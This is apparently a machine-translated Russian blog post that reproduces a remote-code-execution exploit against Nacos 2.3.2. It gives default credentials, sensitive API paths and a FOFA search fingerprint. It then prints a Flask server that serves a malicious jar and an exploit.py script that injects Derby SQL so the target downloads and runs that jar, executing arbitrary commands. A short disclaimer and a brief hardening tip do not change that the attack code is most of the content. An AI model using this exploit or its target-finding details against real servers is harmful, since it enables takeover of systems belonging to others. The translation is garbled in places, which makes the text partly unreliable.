Повторение уязвимости Nacos rce-0day (nacos 2.3.2)
Повторение уязвимости Nacos rce-0day (nacos 2.3.2)

Предисловие

Отказ от ответственности: Пожалуйста, не используйте соответствующие технологии, описанные в этой статье, для участия в незаконном тестировании. Любые прямые или косвенные последствия и убытки, вызванные распространением и использованием информации или инструментов, представленных в этой статье, будут нести ответственность за все. возникшие последствия Неблагоприятные последствия не имеют никакого отношения к автору статьи. Эта статья предназначена только для образовательных целей.

Знакомство с нако

NACOS — это платформа обнаружения, управления конфигурациями и услугами с открытым исходным кодом. Это продукт Alibaba с открытым исходным кодом.

Версия изображения: версия nacos2.3.2 или 2.4.0.

отпечаток пальца:fofa:app="NACOS"

Основная информация о тестировании Nacos

иллюстрировать

Имя учетной записи и пароль по умолчанию

nacos/nacos

Общие порты

8848

API информации о пользователе

/nacos/v1/auth/users?pageNo=1&pageSize=9

API информации о кластере

/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=

API информации о конфигурации

dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username=

Из официального вводного документа Github мы видим, что многие крупные отечественные компании используют эту систему, а из проблем мы также видим, что она имеет множество уязвимостей CVE и ее относительно сложно использовать.

Историческая уязвимость CVE системы Nacos

Язык кода:javascript
копировать
1、CVE-2021-29441 Обход аутентификации
2. Ключ по умолчанию QVD-2023-6271.
3、CNVD-2020-67618 SQL-инъекция
4. Десериализация CNVD-2023-45001

Построить Накос 2.3.2 среда

Адрес загрузки: https://github.com/alibaba/nacos/releases.

1. Разархивируйте файл nacos.

2. Создайте базу данных Nacos.

Выполните файл mysql-schema.sql.

3. Настройте источник данных nacos/conf/application.properties.

4. Настройте файл start.cmd.

5. Запустите Накос

Откройте cmd в каталоге bin.,входитьstartup.cmd -m standaloneзапускать

Посетите http://localhost:8848/nacos.

Анализ уязвимостей

Описание уязвимости

Уязвимость RCE (удаленное выполнение кода) относится к уязвимости безопасности, которая позволяет злоумышленнику выполнить произвольный код на удаленном сервере. Такие уязвимости часто позволяют злоумышленнику получить полный контроль над уязвимой системой, что приводит к серьезным проблемам с безопасностью.

Суть уязвимости заключается в том, что некоторые интерфейсы Nacos не имеют строгого контроля разрешений. Злоумышленник может отправлять вредоносные данные на сервер Nacos посредством специально созданных запросов на выполнение произвольного кода. Необходимость входа в серверную часть для использования уязвимости связана с ошибкой в ​​обработке десериализованных данных Nacos. Злоумышленник может удаленно выполнить вредоносный код через определенную структуру данных JSON. Эту уязвимость можно использовать для чтения конфиденциальных файлов и выполнения системных команд.

poc

Удалено на Github

Анализ кода ---service.py

Приложение Flask предоставляет простой сервис загрузки файлов. Когда пользователь обращается к маршруту /download, сервер возвращает декодированный двоичный файл. Этот файл изначально сохраняется в переменной полезной нагрузки в кодировке Base64. Информация о хосте и порте приложения считывается из модуля config.py.

Язык кода:javascript
копировать
#Определяем маршрут /download, вызывается, когда пользователь обращается к этому URL-адресу download_file Функция, запрашивающая загрузку интерфейса, вернет содержимое jar
@app.route('/download')   
def download_file():
Полезная нагрузка в кодировке #Base64 Декодируется в двоичные данные.
    data = base64.b64decode(payload)  
#Создайте объект ответа HTTP, содержащий декодированные данные, и Установите тип MIME на application/octet-stream (для двоичных файлов).
    response = Response(data, mimetype="application/octet-stream")
#Вы можете установить заголовок ответа, чтобы указать браузеру загрузить контент в виде вложения и указать имя файла (закомментировано здесь).
    # response.headers["Content-Disposition"] = "attachment; filename=file.bin"  
#Вернем объект ответа.
    return response

**Анализ кода ---exploit.py **

Exploit.py подключится к Nacos, а затем в параметры запроса к Nacos вводятся IP-адрес и порт подключения к service.py, а также инструкции, требующие RCE. После того, как запрос достигает nacos, уязвимость базы данных deby используется для злонамеренного запроса интерфейса сервиса service.py и загрузки содержимого jar-пакета. Затем введите команду RCE в пакет jar и запустите эту команду.

Язык кода:javascript
копировать
# Нажмите зеленую кнопку в области сшивания, чтобы запустить сценарий.
def exploit(target, command, service, args):
#Создаем URL-адрес, используемый для отправки запроса
    removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    print("Идет столкновение, пожалуйста, подождите терпеливо!!")
#loop----до успешного использования лазейки
    for i in range(0, sys.maxsize):
#id: создать случайную строку,для идентификацииSQL-инъекцияизpayload
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
#post_sql:СтроитьSQL-инъекцияизpayload,установить вредоносныйизJavaфункция
        post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id, service=service);
#option_sql: создавать операторы SQL и использовать вредоносную функцию для выполнения команд.
        option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id, cmd=command);
#get_sql: Создайте SQL-запрос, выполните команду и получите результаты.                                                                                 get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id, cmd=command);
        # get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        files = {'file': post_sql}
#requests.post: отправьте POST-запрос и загрузите вредоносный SQL.
#requests.get: отправьте запрос GET, выполните команду и получите результаты.
        post_resp = requests.post(url=removal_url, files=files, verify=False, headers=header, timeout=5)
        post_json = post_resp.json()
        if args.url:
            print(post_json)
        if (post_json['code'] == 404 or post_json['code'] == 403) and "File" not in post_json['message']:
            print(Fore.YELLOW + f"[-] {target} Nacos_Rcelaseyki может не существовать\n" + Fore.RESET)
            break
        if post_json.get('message', None) is None and post_json.get('data', None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url, params={'sql': get_sql}, verify=False, headers=header,
                                    timeout=5)
            print(Fore.RED + f"\n[+] {target} Nacos_Rcelaseyki существует, выполните команду: {command}" + Fore.RESET)
            print(Fore.RED + f"[+] Возвращенные результаты следующие: {get_resp.text}" + Fore.RESET)
            break


if __name__ == '__main__':
#service: создайте URL-адрес для загрузки вредоносного файла Jar.
    service = 'http://{host}:{port}/download'.format(host=config.server_host, port=config.server_port)
#target и command:отпользовательвходить Получить цельURLивыполнитьиз Заказ。
    target = 'http://127.0.0.1:8848'
    command = 'calc'
    target = input('Пожалуйста, введите URL-адрес каталога, по умолчанию: http://127.0.0.1:8848:') or target
    command = input('Пожалуйста, введите команду, по умолчанию: Calc:') or command
#exploit:вызовлазейкииспользоватьфункция。    exploit(target=target, command=command, service=service)

Повторение уязвимости

Язык кода:javascript
копировать
первый шаг:Установить зависимостиrequestsиflask
Язык кода:javascript
копировать
Шаг 2:Конфигурацияconfig.pyсерединаизipипорт,Необходимо установить зависимости
Язык кода:javascript
копировать
Шаг 3. Запустите вредоносный сервер: python. server.py, сожмите указанный выше вредоносный класс через b64 и загрузите его на фаск-сервер в качестве ресурса сервера.
Язык кода:javascript
копировать
Шаг 4. Запустите файл эксплойта.py.,Введите команду для выполнения. Calc выполняется по умолчанию.

Рекомендации по усилению безопасности

  • Для тех, кто использует автономный режим,Сообщество Nacos рекомендует включить механизм аутентификации для повышения безопасности. Этого можно добиться, установив соответствующую Конфигурацию.,Убедитесь, что другие не смогут этим злоупотреблять.
  • Включите аутентификацию в файле application.properties. Прежде чем включить аутентификацию

После включения аутентификации

boy illustration
Графическое объяснение этапа строительства проекта IDEA 2021 Spring Cloud (базовая версия)
boy illustration
Подробное объяснение технологии междоменного запроса данных JSONP.
boy illustration
Учебное пособие по SpringBoot (14) | SpringBoot интегрирует Redis (наиболее полный во всей сети)
boy illustration
Подробное объяснение механизма подтверждения выпуска сообщений RabbitMQ.
boy illustration
На этот раз полностью поймите протокол ZooKeeper.
boy illustration
Реализуйте загрузку файлов с использованием минимального WEB API.
boy illustration
Демо1 Laravel5.2 — генерация и хранение URL-адресов
boy illustration
Spring boot интегрирует Kafka и реализует отправку и потребление информации (действительно при личном тестировании)
boy illustration
Мысли о решениях по внутренней реализации сортировки методом перетаскивания
boy illustration
Междоменный доступ к конфигурации nginx не может вступить в силу. Междоменный доступ к странице_Page
boy illustration
Как написать текстовый контент на php
boy illustration
PHP добавляет текстовый водяной знак или водяной знак изображения к изображениям – метод инкапсуляции
boy illustration
Интерпретация быстрой таблицы (TLB)
boy illustration
Интерфейс WeChat API (полный) — оплата WeChat/красный конверт WeChat/купон WeChat/магазин WeChat/JSAPI
boy illustration
Преобразование Java-объекта в json string_complex json-строки в объект
boy illustration
Примените сегментацию слов jieba (версия Java) и предоставьте пакет jar
boy illustration
matinal: Самый подробный анализ управления разрешениями во всей сети SAP. Все управление разрешениями находится здесь.
boy illustration
Коротко расскажу обо всем процессе работы алгоритма сборки мусора G1 --- Теоретическая часть -- Часть 1
boy illustration
[Спецификация] Результаты и исключения возврата интерфейса SpringBoot обрабатываются единообразно, поэтому инкапсуляция является элегантной.
boy illustration
Интерпретация каталога веб-проекта Flask
boy illustration
Что такое подробное объяснение файла WSDL_wsdl
boy illustration
Как запустить большую модель ИИ локально
boy illustration
Подведение итогов десяти самых популярных веб-фреймворков для Go
boy illustration
5 рекомендуемых проектов CMS с открытым исходным кодом на базе .Net Core
boy illustration
Java использует httpclient для отправки запросов HttpPost (отправка формы, загрузка файлов и передача данных Json)
boy illustration
Руководство по развертыванию Nginx в Linux (Centos)
boy illustration
Интервью с Alibaba по Java: можно ли использовать @Transactional и @Async вместе?
boy illustration
Облачный шлюз Spring реализует примеры балансировки нагрузки и проверки входа в систему.
boy illustration
Используйте Nginx для решения междоменных проблем
boy illustration
Произошла ошибка, когда сервер веб-сайта установил соединение с базой данных. WordPress предложил решение проблемы с установкой соединения с базой данных... [Легко понять]